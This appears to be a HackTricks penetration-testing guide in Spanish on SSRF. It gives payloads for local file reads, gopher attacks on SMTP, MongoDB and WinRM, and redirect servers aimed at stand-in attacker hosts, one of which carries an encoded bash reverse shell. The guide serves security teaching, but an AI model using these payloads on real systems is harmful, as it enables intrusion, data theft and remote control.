hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-11-12 10:21:33 +00:00
..
cloud-ssrf.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:31:24 +00:00
README.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:02:14 +00:00
ssrf-vulnerable-platforms.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:14:08 +00:00
url-format-bypass.md Translated ['generic-methodologies-and-resources/python/bypass-python-sa 2024-11-12 10:21:33 +00:00

SSRF (Server Side Request Forgery)


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}

Información Básica

Una vulnerabilidad de Server-side Request Forgery (SSRF) ocurre cuando un atacante manipula una aplicación del lado del servidor para realizar solicitudes HTTP a un dominio de su elección. Esta vulnerabilidad expone al servidor a solicitudes externas arbitrarias dirigidas por el atacante.

Captura de SSRF

Lo primero que necesitas hacer es capturar una interacción SSRF generada por ti. Para capturar una interacción HTTP o DNS puedes usar herramientas como:

Bypass de Dominios en la Lista Blanca

Por lo general, encontrarás que el SSRF solo funciona en ciertos dominios o URL en la lista blanca. En la siguiente página tienes una compilación de técnicas para intentar eludir esa lista blanca:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Bypass a través de redirección abierta

Si el servidor está correctamente protegido, podrías eludir todas las restricciones explotando una Redirección Abierta dentro de la página web. Debido a que la página web permitirá SSRF al mismo dominio y probablemente seguirá redirecciones, puedes explotar la Redirección Abierta para hacer que el servidor acceda a cualquier recurso interno.
Lee más aquí: https://portswigger.net/web-security/ssrf

Protocolos

  • file://
  • El esquema de URL file:// se refiere, apuntando directamente a /etc/passwd: file:///etc/passwd
  • dict://
  • El esquema de URL DICT se describe como utilizado para acceder a definiciones o listas de palabras a través del protocolo DICT. Un ejemplo dado ilustra una URL construida que apunta a una palabra específica, base de datos y número de entrada, así como un caso de un script PHP que podría ser potencialmente mal utilizado para conectarse a un servidor DICT utilizando credenciales proporcionadas por el atacante: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identificado como un protocolo para la transferencia segura de archivos a través de un shell seguro, se proporciona un ejemplo que muestra cómo un script PHP podría ser explotado para conectarse a un servidor SFTP malicioso: url=sftp://generic.com:11111/
  • TFTP://
  • Se menciona el Protocolo de Transferencia de Archivos Trivial, que opera sobre UDP, con un ejemplo de un script PHP diseñado para enviar una solicitud a un servidor TFTP. Se realiza una solicitud TFTP a 'generic.com' en el puerto '12346' para el archivo 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Este segmento cubre el Protocolo de Acceso a Directorios Ligero, enfatizando su uso para gestionar y acceder a servicios de información de directorios distribuidos a través de redes IP. Interactúa con un servidor LDAP en localhost: '%0astats%0aquit' a través de ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Se describe un método para explotar vulnerabilidades SSRF para interactuar con servicios SMTP en localhost, incluyendo pasos para revelar nombres de dominios internos y acciones de investigación adicionales basadas en esa información.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - Bypass de WAF
  • Si el SSRF es ejecutado por curl, curl tiene una característica llamada URL globbing que podría ser útil para eludir WAFs. Por ejemplo, en este writeup puedes encontrar este ejemplo de traversal de ruta a través del protocolo file:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Se discute la capacidad del protocolo Gopher para especificar IP, puerto y bytes para la comunicación con el servidor, junto con herramientas como Gopherus y remote-method-guesser para crear payloads. Se ilustran dos usos distintos:

Gopher://

Usando este protocolo puedes especificar la IP, puerto y bytes que deseas que el servidor envíe. Luego, básicamente puedes explotar un SSRF para comunicarte con cualquier servidor TCP (pero necesitas saber cómo hablar con el servicio primero).
Afortunadamente, puedes usar Gopherus para crear payloads para varios servicios. Además, remote-method-guesser se puede usar para crear payloads gopher para servicios Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Conexión inversa a 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

Gopher MongoDB -- Crear usuario con nombre de usuario=admin con contraseña=admin123 y con permiso=administrador

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF a través del encabezado Referrer y otros

El software de análisis en los servidores a menudo registra el encabezado Referrer para rastrear enlaces entrantes, una práctica que expone inadvertidamente a las aplicaciones a vulnerabilidades de Server-Side Request Forgery (SSRF). Esto se debe a que dicho software puede visitar URLs externas mencionadas en el encabezado Referrer para analizar el contenido del sitio de referencia. Para descubrir estas vulnerabilidades, se recomienda el complemento de Burp Suite "Collaborator Everywhere", aprovechando la forma en que las herramientas de análisis procesan el encabezado Referer para identificar posibles superficies de ataque SSRF.

SSRF a través de datos SNI del certificado

Una mala configuración que podría habilitar la conexión a cualquier backend a través de una configuración simple se ilustra con un ejemplo de configuración de Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

En esta configuración, el valor del campo de Indicación de Nombre del Servidor (SNI) se utiliza directamente como la dirección del backend. Esta configuración expone una vulnerabilidad a Server-Side Request Forgery (SSRF), que puede ser explotada simplemente especificando la dirección IP o el nombre de dominio deseado en el campo SNI. A continuación se muestra un ejemplo de explotación para forzar una conexión a un backend arbitrario, como internal.host.com, utilizando el comando openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Carga de archivos Wget

SSRF con Inyección de Comandos

Puede valer la pena probar una carga útil como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderización de PDFs

Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes insertar algo de JS que será ejecutado por el creador de PDF (el servidor) mientras crea el PDF y podrás abusar de un SSRF. Encuentra más información aquí.

De SSRF a DoS

Crea varias sesiones y trata de descargar archivos pesados explotando el SSRF desde las sesiones.

Funciones PHP de SSRF

Consulta la siguiente página para funciones PHP vulnerables e incluso funciones de Wordpress:

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

Redirección SSRF a Gopher

Para algunas explotaciones, puede que necesites enviar una respuesta de redirección (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en python para responder con una redirección:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}

Proxies mal configurados para SSRF

Trucos de esta publicación.

Flask

Código vulnerable de proxy en Flask ```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask permite usar **`@`** como carácter inicial, lo que permite hacer que **el nombre de host inicial sea el nombre de usuario** e inyectar uno nuevo. Solicitud de ataque:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Código vulnerable:

Se descubrió que es posible iniciar la ruta de una solicitud con el carácter ; lo que permite usar luego @ e inyectar un nuevo host al que acceder. Solicitud de ataque:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Servidor Web Integrado de PHP

Código PHP vulnerable ```php $proxy_site = $site.$current_uri; var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHP permite el uso del **carácter `*` antes de una barra en la ruta** de la URL, sin embargo, tiene otras limitaciones como que solo se puede usar para la ruta raíz `/` y que los puntos `.` no están permitidos antes de la primera barra, por lo que es necesario usar una dirección IP codificada en hexadecimal sin puntos, por ejemplo:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

Si tienes problemas para exfiltrar contenido de una IP local debido a CORS/SOP, DNS Rebidding se puede usar para eludir esa limitación:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

DNS Rebidding Automatizado

Singularity of Origin es una herramienta para realizar ataques de DNS rebinding. Incluye los componentes necesarios para volver a enlazar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir cargas útiles de ataque para explotar software vulnerable en la máquina objetivo.

Consulta también el servidor en funcionamiento público en http://rebind.it/singularity.html

DNS Rebidding + ID de Sesión TLS/Ticket de Sesión

Requisitos:

  • SSRF
  • Sesiones TLS salientes
  • Cosas en puertos locales

Ataque:

  1. Pide al usuario/bot acceder a un dominio controlado por el atacante
  2. El TTL del DNS es 0 seg (por lo que la víctima volverá a comprobar la IP del dominio pronto)
  3. Se crea una conexión TLS entre la víctima y el dominio del atacante. El atacante introduce la carga útil dentro del ID de Sesión o Ticket de Sesión.
  4. El dominio comenzará un bucle infinito de redirecciones contra sí mismo. El objetivo de esto es hacer que el usuario/bot acceda al dominio hasta que realice nuevamente una solicitud DNS del dominio.
  5. En la solicitud DNS se proporciona una dirección IP privada ahora (127.0.0.1 por ejemplo)
  6. El usuario/bot intentará restablecer la conexión TLS y para hacerlo enviará el ID de Sesión/Ticket ID (donde se contenía la carga útil del atacante). Así que felicidades, lograste hacer que el usuario/bot se atacara a sí mismo.

Ten en cuenta que durante este ataque, si deseas atacar localhost:11211 (memcache) necesitas hacer que la víctima establezca la conexión inicial con www.attacker.com:11211 (el puerto siempre debe ser el mismo).
Para realizar este ataque puedes usar la herramienta: https://github.com/jmdx/TLS-poison/
Para más información echa un vistazo a la charla donde se explica este ataque: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

La diferencia entre un SSRF ciego y uno no ciego es que en el ciego no puedes ver la respuesta de la solicitud SSRF. Entonces, es más difícil de explotar porque solo podrás explotar vulnerabilidades bien conocidas.

SSRF basado en tiempo

Comprobando el tiempo de las respuestas del servidor puede ser posible saber si un recurso existe o no (quizás toma más tiempo acceder a un recurso existente que acceder a uno que no existe)

Explotación de SSRF en la Nube

Si encuentras una vulnerabilidad SSRF en una máquina que se ejecuta dentro de un entorno en la nube, podrías obtener información interesante sobre el entorno en la nube e incluso credenciales:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

Plataformas Vulnerables a SSRF

Varias plataformas conocidas contienen o han contenido vulnerabilidades SSRF, consúltalas en:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Herramientas

SSRFMap

Herramienta para detectar y explotar vulnerabilidades SSRF

Gopherus

Esta herramienta genera cargas útiles de Gopher para:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser es un escáner de vulnerabilidades de Java RMI que admite operaciones de ataque para la mayoría de las vulnerabilidades comunes de Java RMI. La mayoría de las operaciones disponibles admiten la opción --ssrf, para generar una carga útil de SSRF para la operación solicitada. Junto con la opción --gopher, se pueden generar cargas útiles de gopher listas para usar directamente.

SSRF Proxy

SSRF Proxy es un servidor proxy HTTP multihilo diseñado para canalizar el tráfico HTTP del cliente a través de servidores HTTP vulnerables a Server-Side Request Forgery (SSRF).

Para practicar

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Referencias

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}


Usa Trickest para construir y automatizar flujos de trabajo fácilmente impulsados por las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}